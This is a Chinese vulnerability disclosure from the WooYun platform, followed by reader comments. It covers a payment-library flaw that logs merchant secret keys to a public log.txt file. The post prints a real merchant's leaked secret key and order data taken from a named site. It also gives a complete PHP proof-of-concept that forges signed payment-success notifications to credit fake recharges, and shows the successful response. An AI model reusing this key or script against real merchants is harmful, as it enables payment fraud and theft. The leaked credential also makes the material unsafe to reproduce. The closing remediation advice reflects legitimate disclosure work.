2015-08-07: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-09-21: 厂商已经主动忽略漏洞,细节向公众公开
@301 我是来给你拉客户的。可批量,可批量,可批量。大表哥在哪儿?我给你指纹,咱们一起刷。
参考资料: WooYun: 爱贷网高隐匿任意金额充值实战¥0成本从充值到提现全过程回放 (这次的问题要比这个验证)参考资料:http://open.lianlianpay.com/
http://open.lianlianpay.com/ 地址下的XXXXX支付文档PHP Demo文件。看lib里边的库文件。路径./lib/llpay_md5.function.php审计相关源码:/** * 签名字符串 * @param $prestr 需要签名的字符串 * @param $key 私钥 * return 签名结果 */function md5Sign($prestr, $key) { $prestr = $prestr ."&key=". $key; file_put_contents("log.txt","签名原串:".$prestr."\n", FILE_APPEND); return md5($prestr);}/** * 验证签名 * @param $prestr 需要签名的字符串 * @param $sign 签名结果 * @param $key 私钥 * return 签名结果 */function md5Verify($prestr, $sign, $key) { $prestr = $prestr ."&key=". $key; file_put_contents("log.txt","prestr:".$prestr."\n", FILE_APPEND); $mysgin = md5($prestr); file_put_contents("log.txt","mysgin:".$mysgin."\n", FILE_APPEND); if($mysgin == $sign) { return true; } else { return false; }}校验签名的时候默认打log。lib库你也敢这么玩儿?谁给你的胆子?还带商户私密key。
log文件:http://www.jiurong.com/log.txt
$ curl http://www.jiurong.com/log.txt签名原串:bank_code=01050000&busi_partner=108001&dt_order=20150122163422&id_type=0&money_order=100&no_order=1421915662694¬ify_url=https://www.96caifu.com/Home/PayMent/llpayNotify/&oid_partner=201501211000185510&sign_type=MD5×tamp=20150122163422&url_return=https://www.96caifu.com/Home/PayMent/llpayReturn/&user_id=23667&valid_order=30&version=1.0&key=96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122签名:75d84b9cf3be1c6419ae4e401f71fcf5签名原串:bank_code=01050000&busi_partner=108001&dt_order=20150122164024&id_type=0&money_order=100&no_order=1421916024835¬ify_url=https://www.96caifu.com/Home/PayMent/llpayNotify/&oid_partner=201501211000185510&sign_type=MD5×tamp=20150122164024&url_return=https://www.96caifu.com/Home/PayMent/llpayReturn/&user_id=23667&valid_order=30&version=1.0&key=96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122签名:36228764f5452836a06d3748f0f72aa0签名原串:bank_code=01050000&busi_partner=108001&dt_order=20150122164243&id_type=0&money_order=100&no_order=1421916163830¬ify_url=https://www.96caifu.com/Home/PayMent/llpayNotify/&oid_partner=201501211000185510&sign_type=MD5×tamp=20150122164243&url_return=https://www.96caifu.com/Home/PayMent/llpayReturn/&user_id=23667&valid_order=30&version=1.0&key=96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122签名:a74acf2aa9aa78feb65cd7f52ea2eb42签名原串:bank_code=01050000&busi_partner=108001&dt_order=20150122170845&id_type=0&money_order=100&no_order=1421917725300¬ify_url=https://www.96caifu.com/Home/PayMent/llpayNotify/&oid_partner=201501211000185510&pay_type=1&sign_type=MD5×tamp=20150122170845&url_return=https://www.96caifu.com/Home/PayMent/llpayReturn/&user_id=23667&valid_order=30&version=1.0&key=96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122签名:c90d0badbbc8cf6064f0eb09db63cee1
商户KEY:96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122执行测试代码
php payway.php输出:{"ret_code":"0000","ret_msg":"\u4ea4\u6613\u6210\u529f"}
POC代码:debug了一晚上,测试代码放这儿不过份吧?
<?php// 模拟第三方支付向服务器发包// 自行修改商户私密KEY,以及抓包的字符串,其它代码不要动。// 代码已做兼容处理,web支付和wap支付已做过测试。app的后边有实际案例我再加。// 我是商户私密KEYdefine("KEY", '96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122');// 支付抓包的值放到这里$str = <<<STR抓包文件放这里STR;// ====================以下代码不必修改=================================$arr = json_decode($str, true);if (json_last_error()) { $str = urldecode($str); parse_str($str, $str); $str = json_encode($str); $arr = json_decode($str, true);}$acct_name = $arr['acct_name'];//真实姓名$id_no = $arr['id_no']; // 身份证号$no_agree = $arr['no_agree']; // 签约协议号$info_order = $arr['info_order']; // 订单描述信息$money_order = $arr['money_order']; // 交易金额$no_order = $arr['no_order']; // 商户唯一订单号$dt_order = $arr['dt_order']; // 商户订单时间$sign_type = $arr['sign_type']; // 签名方式$oid_partner = $arr['oid_partner']; // 商户唯一编号$pay_type = $arr['pay_type'] == '1' ? 1 : 2; // 2:快捷支付 (默认)D:认证支付$bank_code = isset($arr['bank_code']) ? $arr['bank_code'] : ""; // 银行代码 $settle_date = date("Y-m-d"); // 清算日期$result_pay = 'SUCCESS'; // 支付结果$oid_paybill = ''; // 连连支付支付单号$id_type = 0;$key = KEY;// 签名$_acct_name = unicode_encode($acct_name, 'utf-8', true, 'u', '');$_acct_name = $_acct_name == 'u' ? "" : $_acct_name;$sign = "bank_code={$bank_code}&acct_name={$_acct_name}&dt_order={$dt_order}&id_no={$id_no}&id_type={$id_type}&money_order={$money_order}&no_agree={$no_agree}&no_order={$no_order}&oid_partner={$oid_partner}&pay_type={$pay_type}&result_pay={$result_pay}&settle_date={$settle_date}&sign_type={$sign_type}";parse_str($sign, $sign);$sign = paraFilter($sign);ksort($sign);reset($sign);$sign = createLinkstring($sign) . "&key={$key}";$sign = md5($sign); // 签名$url = $arr['notify_url']; // 商户后台通知地址$fields = json_encode(array( 'oid_partner' => $oid_partner, 'sign_type' => $sign_type, 'sign' => $sign, 'dt_order' => $dt_order, 'no_order' => $no_order, 'oid_paybill' => $oid_paybill, 'money_order' => $money_order, 'result_pay' => $result_pay, 'settle_date' => $settle_date, 'info_order' => $info_order, 'pay_type' => $pay_type, 'bank_code' => $bank_code, 'no_agree' => $no_agree, 'id_type' => $id_type, 'id_no' => $id_no, 'acct_name' =>$acct_name,));$fields = (is_array($fields)) ? http_build_query($fields) : $fields; $ch = curl_init($url);curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields))); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); $re=curl_exec($ch); curl_close($ch); echo $re;/** * 除去数组中的空值和签名参数 * @param $para 签名参数组 * return 去掉空值与签名参数后的新签名参数组 */function paraFilter($para) { $para_filter = array(); while (list ($key, $val) = each ($para)) { if($key == "sign" || $val == "")continue; else $para_filter[$key] = $para[$key]; } return $para_filter;}/** * 汉字转Unicode编码 * @param string $str 原始汉字的字符串 * @param string $encoding 原始汉字的编码 * @param boot $ishex 是否为十六进制表示(支持十六进制和十进制) * @param string $prefix 编码后的前缀 * @param string $postfix 编码后的后缀 */function unicode_encode($str, $encoding = 'UTF-8', $ishex = false, $prefix = '&#', $postfix = ';') { $str = iconv($encoding, 'UCS-2', $str); $arrstr = str_split($str, 2); $unistr = ''; for($i = 0, $len = count($arrstr); $i < $len; $i++) { $dec = $ishex ? bin2hex($arrstr[$i]) : hexdec(bin2hex($arrstr[$i])); $unistr .= $prefix . $dec . $postfix; } return $unistr;}/** * 把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串 * @param $para 需要拼接的数组 * return 拼接完成以后的字符串 */function createLinkstring($para) { $arg = ""; while (list ($key, $val) = each ($para)) { $arg.=$key."=".$val."&"; } $arg = substr($arg,0,count($arg)-2); //如果存在转义字符,那么去掉转义 if(get_magic_quotes_gpc()){$arg = stripslashes($arg);} return $arg;}/* End of file */
1.WEB根目录权限不要777,尽量不给写入权限。2.删除相关log记录代码3.删除log.txt文件4.找厂商修改相关私密KEY(不改后边被人利用我不负责的噢)5.避免那个啥风险,提现我就不测了,点到为止。6.麻烦帮我把我的账号注销掉。
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)
这么牛逼的漏洞,居然没人看。。
牛逼
Mark,关注金融安全
坐等细节,学习学习,信息泄漏咋导致刷钱的?脑洞大开不了,支付接口源代码泄漏?
前方高能···
我擦,牛
@58同城 商家uid 和 加密key 泄露以后,就能伪造虚假充值成功。伪装发通知就行了。 通知一般有 同步和 异步两种,可以通过修改参数不发送异步通知,在自己拦截浏览器同步通知。